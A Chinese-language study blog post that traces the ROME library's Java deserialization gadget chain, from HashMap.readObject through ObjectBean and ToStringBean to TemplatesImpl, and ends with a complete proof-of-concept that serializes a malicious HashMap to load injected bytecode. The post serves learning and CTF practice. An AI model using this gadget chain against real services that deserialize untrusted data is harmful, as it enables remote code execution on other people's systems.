前言

也算是忙里偷闲了，看了一下午的操作系统感觉自己就是傻子。。。晚上把前段时间的战疫比赛遇到的rome的反序列化链给学习了一下，之后应该还是继续课内的学习，除了打打比赛，其他的学习得等到寒假了。

分析

从网上找了利用链：

TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
ObjectBean.toString()
EqualsBean.beanHashCode()
ObjectBean.hashCode()

HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)

跟着看一下吧，HashMap那里肯定就是为了调用hashCode，直接跟进ObjectBean的hashCode：

    public int hashCode() {
        return _equalsBean.beanHashCode();
    }

跟进beanHashCode()：

    public int beanHashCode() {
        return _obj.toString().hashCode();
    }

调用了_obj的toString()，这也是继BadAttributeValueExpException之后的又一个利用toString()触发调用链的。

还需要看一下ObjectBean中的_toStringBean属性，它的类是ToStringBean，当调用ObjectBean对象的toString时，实际上是调用ToStringBean对象的toString：

    public String toString() {
        Stack stack = (Stack) PREFIX_TL.get();
        String[] tsInfo = (String[]) ((stack.isEmpty()) ? null : stack.peek());
        String prefix;
        if (tsInfo==null) {
            String className = _obj.getClass().getName();
            prefix = className.substring(className.lastIndexOf(".")+1);
        }
        else {
            prefix = tsInfo[0];
            tsInfo[1] = prefix;
        }
        return toString(prefix);
    }

截取个prefix，然后继续跟进带参数的toString(prefix)：

    private String toString(String prefix) {
        StringBuffer sb = new StringBuffer(128);
        try {
            PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass);
            if (pds!=null) {
                for (int i=0;i<pds.length;i++) {
                    String pName = pds[i].getName();
                    Method pReadMethod = pds[i].getReadMethod();
                    if (pReadMethod!=null &&                             // ensure it has a getter method
                        pReadMethod.getDeclaringClass()!=Object.class && // filter Object.class getter methods
                        pReadMethod.getParameterTypes().length==0) {     // filter getter methods that take parameters
                        Object value = pReadMethod.invoke(_obj,NO_PARAMS);
                        printProperty(sb,prefix+"."+pName,value);
                    }
                }
            }
        }
        catch (Exception ex) {
            sb.append("\n\nEXCEPTION: Could not complete "+_obj.getClass()+".toString(): "+ex.getMessage()+"\n");
        }
        return sb.toString();
    }

关键就是BeanIntrospector.getPropertyDescriptors(_beanClass);这行代码，它获取类的属性的getter和setter，稍微跟进去看看一些处理就知道了：

    private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException {
        Method[] methods = klass.getMethods();
        Map getters = getPDs(methods,false);
        Map setters = getPDs(methods,true);
        List pds     = merge(getters,setters);
        PropertyDescriptor[] array = new PropertyDescriptor[pds.size()];
        pds.toArray(array);
        return array;
    }

之后下面的调用都懂了：

                    Method pReadMethod = pds[i].getReadMethod();
                    if (pReadMethod!=null &&                             // ensure it has a getter method
                        pReadMethod.getDeclaringClass()!=Object.class && // filter Object.class getter methods
                        pReadMethod.getParameterTypes().length==0) {     // filter getter methods that take parameters
                        Object value = pReadMethod.invoke(_obj,NO_PARAMS);

获取对应的Method，如果它是无参的就调用了。

所以rome链的后面这部分利用其实就类似于CommonsBeanutils的链了，调用TemplatesImpl的getOutputProperties进行动态加载字节码来实现命令执行。

所以直接尝试构造POC就可以了，比较简单：

package com.summer.rome;

import com.summer.util.SerializeUtil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;

public class RomeUn {
    public static void main(String[] args) throws Exception{
        byte[] evilCode = SerializeUtil.getEvilCode();
        TemplatesImpl templates = new TemplatesImpl();
        SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});
        SerializeUtil.setFieldValue(templates,"_name","feng");
        SerializeUtil.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

        ObjectBean objectBean = new ObjectBean(String.class,"feng");


        HashMap evilMap = new HashMap();
        evilMap.put(objectBean,1);
        evilMap.put(objectBean,1);
        
        SerializeUtil.setFieldValue(objectBean,"_equalsBean",equalsBean);


        byte[] bytes = SerializeUtil.serialize(evilMap);
        SerializeUtil.unserialize(bytes);
    }
}

package com.summer.util;

import javassist.ClassPool;
import javassist.CtClass;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class SerializeUtil {
    public static Object getFieldValue(Object obj, String fieldName) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        return field.get(obj);
    }
    public static byte[] getEvilCode() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazzz = pool.get("EvilTest");
        byte[] code = clazzz.toBytecode();
        return code;
    }

    public static void unserialize(byte[] bytes) throws Exception{
        try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
            ObjectInputStream oin = new ObjectInputStream(bain)){
            oin.readObject();
        }
    }

    public static byte[] serialize(Object o) throws Exception{
        try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(baout)){
            oout.writeObject(o);
            return baout.toByteArray();
        }
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}